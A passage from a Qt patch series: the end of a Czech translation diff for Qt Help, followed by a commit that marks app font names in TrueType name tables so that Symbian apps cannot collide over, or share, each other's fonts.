         Nemusí být ukázány všechny výsledky, protože dokumentace je stále ještě rejstříkována!
     
     
-        
         Your search did not match any documents.
         Nebyly nalezeny žádné dokumenty, které by odpovídaly vašemu hledání.
     
     
-        
         (The reason for this might be that the documentation is still being indexed.)
         (Důvodem pro to by mohlo být, že dokumentace je stále ještě rejstříkována.)
     
 
 
+    QHelp
+    
+        Untitled
+        Bez názvu
+    
+
+
     QHelpCollectionHandler
     
         The collection file is not set up yet!
         Soubor se sbírkou ještě není zřízen!
     
     
-        
         The collection file '%1' is not set up yet!
         Soubor se sbírkou '%1' ještě není zřízen!
     
     
-        
         Cannot load sqlite database driver!
         Databázový ovladač pro SQLite nelze nahrát!
     
     
-        
-        
         Cannot open collection file: %1
         Nelze otevřít soubor se sbírkou: %1
     
     
-        
         Cannot create tables in file %1!
         V souboru %1 nelze vytvořit žádné tabulky!
     
     
-        
         The collection file '%1' already exists!
         Soubor se sbírkou '%1' již existuje!
     
     
-        
         Unknown filter '%1'!
         Neznámý filtr '%1'!
     
     
-        
         Invalid documentation file '%1'!
         Neplatný soubor s dokumentací '%1'!
     
     
-        
         Cannot register namespace '%1'!
         Nelze zapsat jmenný prostor %1!
     
     
-        
         Cannot open database '%1' to optimize!
         Databázi '%1' nelze otevřít pro vyladění!
     
@@ -86,12 +78,10 @@
         Zadaný soubor se sbírkou již existuje!
     
     
-        
         Cannot create directory: %1
         Nelze vytvořit adresář: %1
     
     
-        
         Cannot copy collection file: %1
         Nelze kopírovat soubor se sbírkou: %1
     
@@ -100,12 +90,10 @@
         Neznámý filtr!
     
     
-        
         Cannot register filter %1!
         Nelze zapsat filtr %1!
     
     
-        
         Cannot open documentation file %1!
         Nelze otevřít soubor s dokumentací: %1!
     
@@ -114,12 +102,10 @@
         Neplatný soubor s dokumentací!
     
     
-        
         The namespace %1 was not registered!
         Jmenný prostor %1 nebyl zapsán!
     
     
-        
         Namespace %1 already exists!
         Jmenný prostor %1 již existuje!
     
@@ -135,7 +121,6 @@
 
     QHelpDBReader
     
-        
         Cannot open database '%1' '%2': %3
         The placeholders are: %1 - The name of the database which cannot be opened %2 - The unique id for the connection %3 - The actual error string
         Databázi nelze otevřít: '%1' '%2': %3
@@ -144,7 +129,10 @@
 
     QHelpEngineCore
     
-        
+        Cannot open documentation file %1: %2!
+        Nelze otevřít soubor s dokumentací %1: %2!
+    
+    
         The specified namespace does not exist!
         Zadaný jmenný prostor neexistuje!
     
@@ -152,181 +140,210 @@
 
     QHelpEngineCorePrivate
     
-        
         Cannot open documentation file %1: %2!
-        Nelze otevřít soubor s dokumentací %1: %2!
+        Nelze otevřít soubor s dokumentací %1: %2!
     
 
 
     QHelpGenerator
     
-        
         Invalid help data!
         Neplatná data s nápovědou!
     
     
-        
         No output file name specified!
         Pro výstupní soubor nebyl zadán žádný název!
     
     
-        
         Building up file structure...
         Vytváří se uspořádání souboru...
     
     
-        
         The file %1 cannot be overwritten!
         Soubor %1 nelze přepsat!
     
     
-        
         Cannot open data base file %1!
         Nelze otevřít soubor s databází: %1!
     
     
-        
         Cannot register namespace %1!
         Nelze zapsat jmenný prostor %1!
     
     
-        
         Insert custom filters...
         Vložit uživatelsky stanovené filtry...
     
     
-        
         Insert help data for filter section (%1 of %2)...
         Vložit data s nápovědou pro oddělení s filtrem (%1 von %2) einfügen...
     
     
-        
         Documentation successfully generated.
         Dokumentace byla úspěšně vytvořena.
     
     
-        
         Some tables already exist!
         Některé tabulky již existují!
     
     
-        
         Cannot create tables!
         Tabulky nelze vytvořit!
     
     
-        
         Cannot register virtual folder!
         Virtuální adresář nelze zapsat!
     
     
-        
         Insert files...
         Vložit soubory...
     
     
-        
         The referenced file %1 must be inside or within a subdirectory of (%2). Skipping it.
         Odkazovaný soubor %1 se musí nacházet v adresáři %2 nebo v jeho podadresáři. Přeskakuje se.
     
     
-        
         The file %1 does not exist! Skipping it.
         Soubor %1 neexistuje! Přeskakuje se.
     
     
-        
         Cannot open file %1! Skipping it.
         Soubor %1 nelze otevřít! Přeskakuje se.
     
     
-        
         The filter %1 is already registered!
         Filtr %1 je již zapsán!
     
     
-        
         Cannot register filter %1!
         Nelze zapsat filtr %1!
     
     
-        
         Insert indices...
         Vložit rejstříky...
     
     
-        
         Insert contents...
         Vložit obsah...
     
     
-        
         Cannot insert contents!
         Obsah nelze vložit!
     
     
-        
         Cannot register contents!
         Obsah nelze zapsat!
     
+    
+        File '%1' does not exist.
+        Soubor '%1' neexistuje.
+    
+    
+        File '%1' cannot be opened.
+        Soubor '%1' nelze otevřít.
+    
+    
+        File '%1' contains an invalid link to file '%2'
+        Soubor '%1' obsahuje neplatný odkaz na soubor '%2'
+    
+    
+        Invalid links in HTML files.
+        Neplatné odkazy v souborech HTML.
+    
+
+
+    QHelpProject
+    
+        Unknown token.
+        Neznámý symbol.
+    
+    
+        Unknown token. Expected "QtHelpProject"!
+        Neznámý symbol. Byl očekáván "QtHelpProject"!
+    
+    
+        Error in line %1: %2
+        Chyba na řádku %1: %2
+    
+    
+        Virtual folder has invalid syntax.
+        Virtuální složka má neplatnou skladbu.
+    
+    
+        Namespace has invalid syntax.
+        Jmenný prostor má neplatnou skladbu.
+    
+    
+        Missing namespace in QtHelpProject.
+        Chybějící jmenný prostor QtHelpProject.
+    
+    
+        Missing virtual folder in QtHelpProject
+        Chybějící virtuální složka v QtHelpProject.
+    
+    
+        Missing attribute in keyword at line %1.
+        Chybějící vlastnost v klíčovém slově na řádku %1.
+    
+    
+        The input file %1 could not be opened!
+        Vstupní soubor %1 se nepodařilo otevřít!
+    
 
 
     QHelpSearchQueryWidget
     
-        
         Search for:
         Hledat:
     
     
-        
         Previous search
         Předchozí hledání
     
     
-        
         Next search
         Další hledání
     
     
-        
         Search
         Hledat
     
     
-        
         Advanced search
         Rozšířené hledání
     
     
-        
         words <B>similar</B> to:
         Slova <B>podobná</B>:
     
     
-        
         <B>without</B> the words:
         <B>beze</B> slov:
     
     
-        
         with <B>exact phrase</B>:
         s <B>přesnou skupinou slov</B>:
     
     
-        
         with <B>all</B> of the words:
         se <B>všemi</B> slovy:
     
     
-        
         with <B>at least one</B> of the words:
         s <B>jakýmkoli</B> ze slov:
     
 
 
     QHelpSearchResultWidget
+    
+        %1 - %2 of %n Hits
+        
+            %1 - %2 - jeden zásah
+            %1 - %2 ze %n zásahů
+            %1 - %2 z %n zásahů
+        
+    
     
-        
         0 - 0 of 0 Hits
         0 - 0 z 0 zásahů
     
@@ -334,62 +351,51 @@
 
     QHelpSearchResultWidgetPrivate
     
-        
         %1 - %2 of %3 Hits
-        %1 - %2 z %3 zásahů
+        %1 - %2 z %3 zásahů
     
 
 
     QObject
     
-        
         Untitled
-        Bez názvu
+        Bez názvu
     
     
-        
         Unknown token.
-        Neznámý symbol.
+        Neznámý symbol.
     
     
-        
         Unknown token. Expected "QtHelpProject"!
-        Neznámý symbol. Byl očekáván "QtHelpProject"!
+        Neznámý symbol. Byl očekáván "QtHelpProject"!
     
     
-        
         Error in line %1: %2
-        Chyba na řádku %1: %2
+        Chyba na řádku %1: %2
     
     
-        
         A virtual folder must not contain a '/' character!
-        Virtuální složka nesmí obsahovat znak '/'!
+        Virtuální složka nesmí obsahovat znak '/'!
     
     
-        
         A namespace must not contain a '/' character!
-        Jmenný prostor nesmí obsahovat znak '/'!
+        Jmenný prostor nesmí obsahovat znak '/'!
     
     
-        
         Missing namespace in QtHelpProject.
-        Chybějící jmenný prostor QtHelpProject.
+        Chybějící jmenný prostor QtHelpProject.
     
     
-        
         Missing virtual folder in QtHelpProject
-        Chybějící virtuální složka v QtHelpProject.
+        Chybějící virtuální složka v QtHelpProject.
     
     
-        
         Missing attribute in keyword at line %1.
-        Chybějící vlastnost v klíčovém slově na řádku %1.
+        Chybějící vlastnost v klíčovém slově na řádku %1.
     
     
-        
         The input file %1 could not be opened!
-        Vstupní soubor %1 se nepodařilo otevřít!
+        Vstupní soubor %1 se nepodařilo otevřít!
     
 
 
-- 
cgit v0.12


From cfb7c16d738993fc8a594361f4bdf10e24fa754a Mon Sep 17 00:00:00 2001
From: Alessandro Portale 
Date: Mon, 24 Jan 2011 21:43:03 +0100
Subject: Avoid possible font name collisions on fbserv

QTBUG-6611 implemented the long awaited app font support on Symbian. One
of the problems with the underlying Symbian Api for font loading is that
all fonts go into one system wide font store on fbserv. All fonts are
visible to and accessible by every application. And there is no way to
find out if a font is an app font and whose process' app font it is. If
a font with a certain family name is already loaded on fbserv, no other
application can load its font with the same family name. If two
applications access the same font, bad things can happen (details:
QTBUG-16514).

This patch works around naming collisions on the fbserv. It also
prevents Qt applications from using other Qt applications' app fonts. It
does so by "marking" the name of the temporary ttf file before the file
gets loaded by fbserv. All font name strings in the font's 'name' table
get a marker string appended. The marker is composed by a "Q", the uid3,
and on Symbian^3|PR1&below the pid. The marker length is four characters.
When the QFontDatabase is populated, all own app font names are cleand
from the marker, so that the Qt app can use the original font name. Other
applications' app fonts are detected and filtered out of the own font
database.

Symbian's font Api supports only 24 characters as names for font
families. The name marker reduces the effective characters to 20. The
reduced name length is documented for
QFontDatabase::addApplication[FontFromData] as a note.

Since the app font feature is much safer now, it got re-enabled for
Symbian^1 and below by reverting
25ac59fcf1bb03c9af9a2c967218c96c7c77361a .

Task-number: QTBUG-16514
---
 src/gui/text/qfontdatabase.cpp     |   4 +
 src/gui/text/qfontdatabase_s60.cpp | 357 ++++++++++++++++++++++++++++++++++---
 src/gui/text/qfontengine_s60.cpp   |   5 +-
 3 files changed, 343 insertions(+), 23 deletions(-)

diff --git a/src/gui/text/qfontdatabase.cpp b/src/gui/text/qfontdatabase.cpp
index 637957d..6b612eb 100644
--- a/src/gui/text/qfontdatabase.cpp
+++ b/src/gui/text/qfontdatabase.cpp
@@ -2543,6 +2543,8 @@ bool QFontDatabasePrivate::isApplicationFont(const QString &fileName)
     \note Adding application fonts on Unix/X11 platforms without fontconfig is
     currently not supported.
 
+    \note On Symbian, the font family names get truncated to a length of 20 characters.
+
     \sa addApplicationFontFromData(), applicationFontFamilies(), removeApplicationFont()
 */
 int QFontDatabase::addApplicationFont(const QString &fileName)
@@ -2573,6 +2575,8 @@ int QFontDatabase::addApplicationFont(const QString &fileName)
     \bold{Note:} Adding application fonts on Unix/X11 platforms without fontconfig is
     currently not supported.
 
+    \note On Symbian, the font family names get truncated to a length of 20 characters.
+
     \sa addApplicationFont(), applicationFontFamilies(), removeApplicationFont()
 */
 int QFontDatabase::addApplicationFontFromData(const QByteArray &fontData)
diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
index 06462c4..ad67189 100644
--- a/src/gui/text/qfontdatabase_s60.cpp
+++ b/src/gui/text/qfontdatabase_s60.cpp
@@ -46,6 +46,7 @@
 #include "qabstractfileengine.h"
 #include "qdesktopservices.h"
 #include "qtemporaryfile.h"
+#include "qtextcodec.h"
 #include 
 #include 
 #include "qendian.h"
@@ -152,10 +153,11 @@ public:
     mutable QList m_extras;
 
     mutable QHash m_extrasHash;
+    mutable QSet m_applicationFontFamilies;
 };
 
 const QString QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix =
-        QLatin1String("qaf");
+        QLatin1String("Q");
 
 inline QString QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
 {
@@ -166,21 +168,60 @@ QString QSymbianFontDatabaseExtrasImplementation::appFontMarker()
 {
     static QString result;
     if (result.isEmpty()) {
-        const quint32 uid = RProcess().Type().MostDerived().iUid;
-        quint16 crossSum = static_cast(uid + (uid >> 16));
-        if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
+        quint16 id = 0;
+        if (QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
+            // We are allowed to load app fonts even from previous, crashed runs
+            // of this application, since we can access the font tables.
+            const quint32 uid = RProcess().Type().MostDerived().iUid;
+            id = static_cast(uid + (uid >> 16));
+        } else {
             // If no font table Api is available, we must not even load a font
             // from a previous (crashed) run of this application. Reason: we
             // won't get the font tables, they are not in the CFontStore.
-            // So, we add the pid to the uniqueness of the marker.
-            const quint32 pid = static_cast(RProcess().Id().Id());
-            crossSum += static_cast(pid + (pid >> 16));
+            // So, we use the pid, for more uniqueness.
+            id = static_cast(RProcess().Id().Id());
         }
-        result = appFontMarkerPrefix + QString::number(crossSum, 16);
+        result = appFontMarkerPrefix + QString::fromLatin1("%1").arg(id & 0x7fff, 3, 32, QLatin1Char('0'));
+        Q_ASSERT(appFontMarkerPrefix.length() == 1 && result.length() == 4);
     }
     return result;
 }
 
+static inline bool qt_symbian_fontNameHasAppFontMarker(const QString &fontName)
+{
+    const int idLength = 3; // Keep in sync with id length in appFontMarker().
+    const QString &prefix = QSymbianFontDatabaseExtrasImplementation::appFontMarkerPrefix;
+    if (fontName.length() < prefix.length() + idLength
+            || fontName.mid(fontName.length() - idLength - prefix.length(), prefix.length()) != prefix)
+        return false;
+    // Testing if the the id is base32 data
+    for (int i = fontName.length() - idLength; i < fontName.length(); ++i) {
+        const QChar &c = fontName.at(i);
+        if (!(c >= QLatin1Char('0') && c <= QLatin1Char('9')
+              || c >= QLatin1Char('a') && c <= QLatin1Char('v')))
+            return false;
+    }
+    return true;
+}
+
+// If fontName is an application font of this app, prepend the app font marker
+QString qt_symbian_fontNameWithAppFontMarker(const QString &fontName)
+{
+    QFontDatabasePrivate *db = privateDb();
+    Q_ASSERT(db);
+    const QSymbianFontDatabaseExtrasImplementation *dbExtras =
+            static_cast(db->symbianExtras);
+    return dbExtras->m_applicationFontFamilies.contains(fontName) ?
+                fontName + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
+              : fontName;
+}
+
+static inline QString qt_symbian_appFontNameWithoutMarker(const QString &markedFontName)
+{
+    return markedFontName.left(markedFontName.length()
+                               - QSymbianFontDatabaseExtrasImplementation::appFontMarker().length());
+}
+
 QSymbianFontDatabaseExtrasImplementation::QSymbianFontDatabaseExtrasImplementation()
 {
     if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()) {
@@ -276,9 +317,10 @@ COpenFont* OpenFontFromBitmapFont(const CBitmapFont* aBitmapFont)
 }
 #endif // FNTSTORE_H_INLINES_SUPPORT_FMM
 
-const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(const QString &typeface,
+const QSymbianTypeFaceExtras *QSymbianFontDatabaseExtrasImplementation::extras(const QString &aTypeface,
                                                                                bool bold, bool italic) const
 {
+    const QString typeface = qt_symbian_fontNameWithAppFontMarker(aTypeface);
     const QString searchKey = typeface + QString::number(int(bold)) + QString::number(int(italic));
     if (!m_extrasHash.contains(searchKey)) {
         TFontSpec searchSpec(qt_QString2TPtrC(typeface), 1);
@@ -331,6 +373,8 @@ void QSymbianFontDatabaseExtrasImplementation::removeAppFontData(
     if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable()
             && fnt->fontStoreFontFileUid.iUid != 0)
         m_store->RemoveFile(fnt->fontStoreFontFileUid);
+    if (!fnt->families.isEmpty())
+        m_applicationFontFamilies.remove(fnt->families.first());
     if (fnt->screenDeviceFontFileId != 0)
         S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId);
     QFile::remove(fnt->temporaryFileName);
@@ -425,6 +469,18 @@ static bool registerScreenDeviceFont(int screenDeviceFontIndex,
 {
     TTypefaceSupport typefaceSupport;
         S60->screenDevice()->TypefaceSupport(typefaceSupport, screenDeviceFontIndex);
+
+    QString familyName((const QChar*)typefaceSupport.iTypeface.iName.Ptr(), typefaceSupport.iTypeface.iName.Length());
+    if (qt_symbian_fontNameHasAppFontMarker(familyName)) {
+        const QString &marker = QSymbianFontDatabaseExtrasImplementation::appFontMarker();
+        if (familyName.endsWith(marker)) {
+            familyName = qt_symbian_appFontNameWithoutMarker(familyName);
+            dbExtras->m_applicationFontFamilies.insert(familyName);
+        } else {
+            return false; // This was somebody else's application font. Skip it.
+        }
+    }
+
     CFont *font; // We have to get a font instance in order to know all the details
     TFontSpec fontSpec(typefaceSupport.iTypeface.iName, 11);
     if (S60->screenDevice()->GetNearestFontInPixels(font, fontSpec) != KErrNone)
@@ -440,7 +496,6 @@ static bool registerScreenDeviceFont(int screenDeviceFontIndex,
     styleKey.style = faceAttrib.IsItalic()?QFont::StyleItalic:QFont::StyleNormal;
     styleKey.weight = faceAttrib.IsBold()?QFont::Bold:QFont::Normal;
 
-    QString familyName((const QChar *)typefaceSupport.iTypeface.iName.Ptr(), typefaceSupport.iTypeface.iName.Length());
     QtFontFamily *family = privateDb()->family(familyName, true);
     family->fixedPitch = faceAttrib.IsMonoWidth();
     QtFontFoundry *foundry = family->foundry(QString(), true);
@@ -515,14 +570,268 @@ static inline void load(const QString &family = QString(), int script = -1)
     initializeDb();
 }
 
-static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
+struct OffsetTable {
+    quint32 sfntVersion;
+    quint16 numTables, searchRange, entrySelector, rangeShift;
+};
+
+struct TableRecord {
+    quint32 tag, checkSum, offset, length;
+};
+
+struct NameTableHead {
+    quint16 format, count, stringOffset;
+};
+
+struct NameRecord {
+    quint16 platformID, encodingID, languageID, nameID, length, offset;
+};
+
+static quint32 ttfCalcChecksum(const char *data, quint32 bytesCount)
+{
+    quint32 result = 0;
+    const quint32 *ptr = reinterpret_cast(data);
+    const quint32 *endPtr =
+            ptr + (bytesCount + sizeof(quint32) - 1) / sizeof(quint32);
+    while (ptr < endPtr) {
+        const quint32 unit32Value = *ptr++;
+        result += qFromBigEndian(unit32Value);
+    }
+    return result;
+}
+
+static inline quint32 toDWordBoundary(quint32 value)
+{
+    return (value + 3) & ~3;
+}
+
+static inline quint32 dWordPadding(quint32 value)
+{
+    return (4 - (value & 3)) & 3;
+}
+
+static inline bool ttfMarkNameTable(QByteArray &table, const QString &marker)
+{
+    const quint32 tableLength = static_cast(table.size());
+
+    if (tableLength > 50000 // hard limit
+            || tableLength < sizeof(NameTableHead)) // corrupt name table
+        return false;
+
+    const NameTableHead *head = reinterpret_cast(table.constData());
+    const quint16 count = qFromBigEndian(head->count);
+    const quint16 stringOffset = qFromBigEndian(head->stringOffset);
+    if (count > 200 // hard limit
+            || stringOffset >= tableLength // corrupt name table
+            || sizeof(NameTableHead) + count * sizeof(NameRecord) >= tableLength) // corrupt name table
+        return false;
+
+    QTextEncoder encoder(QTextCodec::codecForName("UTF-16BE"), QTextCodec::IgnoreHeader);
+    const QByteArray markerUtf16BE = encoder.fromUnicode(marker);
+    const QByteArray markerAscii = marker.toAscii();
+
+    QByteArray markedTable;
+    markedTable.reserve(tableLength + marker.length() * 20); // Original size plus some extra
+    markedTable.append(table, stringOffset);
+    QByteArray markedStrings;
+    quint32 stringDataCount = stringOffset;
+    for (quint16 i = 0; i < count; ++i) {
+        const quint32 nameRecordOffset = sizeof(NameTableHead) + sizeof(NameRecord) * i;
+        NameRecord *nameRecord =
+                reinterpret_cast(markedTable.data() + nameRecordOffset);
+        const quint16 nameID = qFromBigEndian(nameRecord->nameID);
+        const quint16 platformID = qFromBigEndian(nameRecord->platformID);
+        const quint16 encodingID = qFromBigEndian(nameRecord->encodingID);
+        const quint16 offset = qFromBigEndian(nameRecord->offset);
+        const quint16 length = qFromBigEndian(nameRecord->length);
+        stringDataCount += length;
+        if (stringDataCount > 80000 // hard limit. String data may be > name table size. Multiple records can reference the same string.
+                || static_cast(stringOffset + offset + length) > tableLength) // String outside bounds
+            return false;
+        const bool needsMarker =
+                nameID == 1 || nameID == 3 || nameID == 4 || nameID == 16 || nameID == 21;
+        const bool isUnicode =
+                platformID == 0 || platformID == 3 && encodingID == 1;
+        const QByteArray originalString =
+                QByteArray::fromRawData(table.constData() + stringOffset + offset, length);
+        QByteArray markedString;
+        if (needsMarker) {
+            const int maxBytesLength = (KMaxTypefaceNameLength - marker.length()) * (isUnicode ? 2 : 1);
+            markedString = originalString.left(maxBytesLength) + (isUnicode ? markerUtf16BE : markerAscii);
+        } else {
+            markedString = originalString;
+        }
+        nameRecord->offset = qToBigEndian(static_cast(markedStrings.length()));
+        nameRecord->length = qToBigEndian(static_cast(markedString.length()));
+        markedStrings.append(markedString);
+    }
+    markedTable.append(markedStrings);
+    table = markedTable;
+    return true;
+}
+
+const quint32 ttfMaxFileSize = 3500000;
+
+static inline bool ttfMarkAppFont(QByteArray &ttf, const QString &marker)
 {
-    if (QSysInfo::symbianVersion() <= QSysInfo::SV_SF_2)
-        return; // See QTBUG-16514 for what 'font collisions' can cause in Symbian^1 and lower
+    const quint32 ttfChecksumNumber = 0xb1b0afba;
+    const quint32 alignment = 4;
+    const quint32 ttfLength = static_cast(ttf.size());
+    if (ttfLength > ttfMaxFileSize // hard limit
+            || ttfLength % alignment != 0 // ttf sizes are always factors of 4
+            || ttfLength <= sizeof(OffsetTable) // ttf too short
+            || ttfCalcChecksum(ttf.constData(), ttf.size()) != ttfChecksumNumber) // ttf checksum is invalid
+        return false;
+
+    const OffsetTable *offsetTable = reinterpret_cast(ttf.constData());
+    const quint16 numTables = qFromBigEndian(offsetTable->numTables);
+    const quint32 recordsLength =
+            toDWordBoundary(sizeof(OffsetTable) + numTables * sizeof(TableRecord));
+    if (numTables > 30 // hard limit
+            || recordsLength + numTables * alignment > ttfLength) // Corrupt ttf. Tables would not fit, even if empty.
+        return false;
+
+    QByteArray markedTtf;
+    markedTtf.reserve(ttfLength + marker.length() * 20); // Original size plus some extra
+    markedTtf.append(ttf.constData(), recordsLength);
+
+    const quint32 ttfCheckSumAdjustmentOffset = 8; // Offset from the start of 'head'
+    int indexOfHeadTable = -1;
+    quint32 ttfDataSize = recordsLength;
+    typedef QPair Range;
+    QList memoryRanges;
+    memoryRanges.reserve(numTables);
+    for (int i = 0; i < numTables; ++i) {
+        TableRecord *tableRecord =
+                reinterpret_cast(markedTtf.data() + sizeof(OffsetTable) + i * sizeof(TableRecord));
+        const quint32 offset = qFromBigEndian(tableRecord->offset);
+        const quint32 length = qFromBigEndian(tableRecord->length);
+        const quint32 lengthAligned = toDWordBoundary(length);
+        ttfDataSize += lengthAligned;
+        if (offset < recordsLength // must not intersect ttf header/records
+                || offset % alignment != 0 // must be aligned
+                || offset > ttfLength - alignment // table out of bounds
+                || offset + lengthAligned > ttfLength // table out of bounds
+                || ttfDataSize > ttfLength) // tables would not fit into the ttf
+            return false;
 
-    if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached())
+        foreach (const Range &range, memoryRanges)
+            if (offset < range.first + range.second && offset + lengthAligned > range.first)
+                return false; // Overlaps with another table
+        memoryRanges.append(Range(offset, lengthAligned));
+
+        quint32 checkSum = qFromBigEndian(tableRecord->checkSum);
+        if (tableRecord->tag == qToBigEndian('head')) {
+            if (length < ttfCheckSumAdjustmentOffset + sizeof(quint32))
+                return false; // Invalid 'head' table
+            const quint32 *checkSumAdjustmentTag =
+                    reinterpret_cast(ttf.constData() + offset + ttfCheckSumAdjustmentOffset);
+            const quint32 checkSumAdjustment = qFromBigEndian(*checkSumAdjustmentTag);
+            checkSum += checkSumAdjustment;
+            indexOfHeadTable = i; // For the ttf checksum re-calculation, later
+        }
+        if (checkSum != ttfCalcChecksum(ttf.constData() + offset, length))
+            return false; // Table checksum is invalid
+
+        bool updateTableChecksum = false;
+        QByteArray table;
+        if (tableRecord->tag == qToBigEndian('name')) {
+            table = QByteArray(ttf.constData() + offset, length);
+            if (!ttfMarkNameTable(table, marker))
+                return false; // Name table was not markable.
+            updateTableChecksum = true;
+        } else {
+            table = QByteArray::fromRawData(ttf.constData() + offset, length);
+        }
+
+        tableRecord->offset = qToBigEndian(markedTtf.size());
+        tableRecord->length = qToBigEndian(table.size());
+        markedTtf.append(table);
+        markedTtf.append(QByteArray(dWordPadding(table.size()), 0)); // 0-padding
+        if (updateTableChecksum) {
+            TableRecord *tableRecord = // Need to recalculate, since markedTtf changed
+                    reinterpret_cast(markedTtf.data() + sizeof(OffsetTable) + i * sizeof(TableRecord));
+            const quint32 offset = qFromBigEndian(tableRecord->offset);
+            const quint32 length = qFromBigEndian(tableRecord->length);
+            tableRecord->checkSum = qToBigEndian(ttfCalcChecksum(markedTtf.constData() + offset, length));
+        }
+    }
+    if (indexOfHeadTable == -1 // 'head' table is mandatory
+            || ttfDataSize != ttfLength) // We do not allow ttf data "holes". Neither does Symbian.
+        return false;
+    TableRecord *headRecord =
+            reinterpret_cast(markedTtf.data() + sizeof(OffsetTable) + indexOfHeadTable * sizeof(TableRecord));
+    quint32 *checkSumAdjustmentTag =
+            reinterpret_cast(markedTtf.data() + qFromBigEndian(headRecord->offset) + ttfCheckSumAdjustmentOffset);
+    *checkSumAdjustmentTag = 0;
+    const quint32 ttfChecksum = ttfCalcChecksum(markedTtf.constData(), markedTtf.count());
+    *checkSumAdjustmentTag = qToBigEndian(ttfChecksumNumber - ttfChecksum);
+    ttf = markedTtf;
+    return true;
+}
+
+static inline bool ttfCanSymbianLoadFont(const QByteArray &data, const QString &fileName)
+{
+    bool result = false;
+    QString ttfFileName;
+    QFile tempFileGuard;
+    QFileInfo info(fileName);
+    if (!data.isEmpty()) {
+        QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
+                                + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
+                                + QLatin1String("XXXXXX.ttf"));
+        if (!tempfile.open() || tempfile.write(data) == -1)
+            return false;
+        ttfFileName = QDir::toNativeSeparators(QFileInfo(tempfile).canonicalFilePath());
+        tempfile.setAutoRemove(false);
+        tempfile.close();
+        tempFileGuard.setFileName(ttfFileName);
+        if (!tempFileGuard.open(QIODevice::ReadOnly))
+            return false;
+    } else if (info.isFile()) {
+        ttfFileName = QDir::toNativeSeparators(info.canonicalFilePath());
+    } else {
+        return false;
+    }
+
+    CFontStore *store = 0;
+    RHeap* heap = User::ChunkHeap(NULL, 0x1000, 0x20000);
+    if (heap) {
+        QT_TRAP_THROWING(
+            CleanupClosePushL(*heap);
+            store = CFontStore::NewL(heap);
+            CleanupStack::PushL(store);
+            COpenFontRasterizer *rasterizer = COpenFontRasterizer::NewL(TUid::Uid(0x101F7F5E));
+            CleanupStack::PushL(rasterizer);
+            store->InstallRasterizerL(rasterizer);
+            CleanupStack::Pop(rasterizer);
+            TUid fontUid = {-1};
+            TRAP_IGNORE(fontUid = store->AddFileL(qt_QString2TPtrC(ttfFileName)));
+            if (fontUid.iUid != -1)
+                result = true;
+            CleanupStack::PopAndDestroy(2, heap); // heap, store
+        );
+    }
+
+    if (tempFileGuard.isOpen())
+        tempFileGuard.remove();
+
+    return result;
+}
+
+static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
+{
+    if (QSymbianFontDatabaseExtrasImplementation::appFontLimitReached()
+            || fnt->data.size() > ttfMaxFileSize // hard limit
+            || fnt->data.isEmpty() && (!fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive) // Only buffer or .ttf
+                                       || QFileInfo(fnt->fileName).size() > ttfMaxFileSize)) // hard limit
         return;
 
+//    Using ttfCanSymbianLoadFont() causes crashes on app destruction (Symbian^3|PR1 and lower).
+//    Therefore, not using it for now, but eventually in a later version.
+//    if (!ttfCanSymbianLoadFont(fnt->data, fnt->fileName))
+//        return;
+
     QFontDatabasePrivate *db = privateDb();
     if (!db)
         return;
@@ -530,13 +839,13 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
     if (!db->count)
         initializeDb();
 
-    if (fnt->data.isEmpty() && !fnt->fileName.endsWith(QLatin1String(".ttf"), Qt::CaseInsensitive))
-        return; // Only buffer or .ttf
     QSymbianFontDatabaseExtrasImplementation *dbExtras =
             static_cast(db->symbianExtras);
     if (!dbExtras)
         return;
 
+    const QString &marker = QSymbianFontDatabaseExtrasImplementation::appFontMarker();
+
     // The QTemporaryFile object being used in the following section must be
     // destructed before letting Symbian load the TTF file. Symbian would not
     // load it otherwise, because QTemporaryFile will still keep some handle
@@ -548,8 +857,7 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
     QFile tempFileGuard;
     {
         QTemporaryFile tempfile(QSymbianFontDatabaseExtrasImplementation::tempAppFontFolder()
-                                + QSymbianFontDatabaseExtrasImplementation::appFontMarker()
-                                + QLatin1String("XXXXXX.ttf"));
+                                + marker + QLatin1String("XXXXXX.ttf"));
         if (!tempfile.open())
             return;
         const QString tempFileName = QFileInfo(tempfile).canonicalFilePath();
@@ -559,10 +867,11 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
                 return;
             fnt->data = sourceFile.readAll();
         }
-        if (tempfile.write(fnt->data) == -1)
+        if (!ttfMarkAppFont(fnt->data, marker) || tempfile.write(fnt->data) == -1)
             return;
         tempfile.setAutoRemove(false);
         tempfile.close(); // Tempfile still keeps a file handle, forbidding write access
+        fnt->data.clear(); // The TTF data was marked and saved. Not needed in memory, anymore.
         tempFileGuard.setFileName(tempFileName);
         if (!tempFileGuard.open(QIODevice::ReadOnly))
             return;
@@ -593,10 +902,14 @@ static void registerFont(QFontDatabasePrivate::ApplicationFont *fnt)
         if (!QSymbianTypeFaceExtras::symbianFontTableApiAvailable())
             fnt->fontStoreFontFileUid = dbExtras->addFontFileToFontStore(QFileInfo(fullFileName));
 
-        fnt->families.append(fontsOnServerAfter.at(fontOnServerIndex));
-        if (!registerScreenDeviceFont(fontOnServerIndex, dbExtras))
+        const QString &appFontName = fontsOnServerAfter.at(fontOnServerIndex);
+        fnt->families.append(qt_symbian_appFontNameWithoutMarker(appFontName));
+        if (!qt_symbian_fontNameHasAppFontMarker(appFontName)
+                || !registerScreenDeviceFont(fontOnServerIndex, dbExtras))
             dbExtras->removeAppFontData(fnt);
     } else {
+        if (fnt->screenDeviceFontFileId > 0)
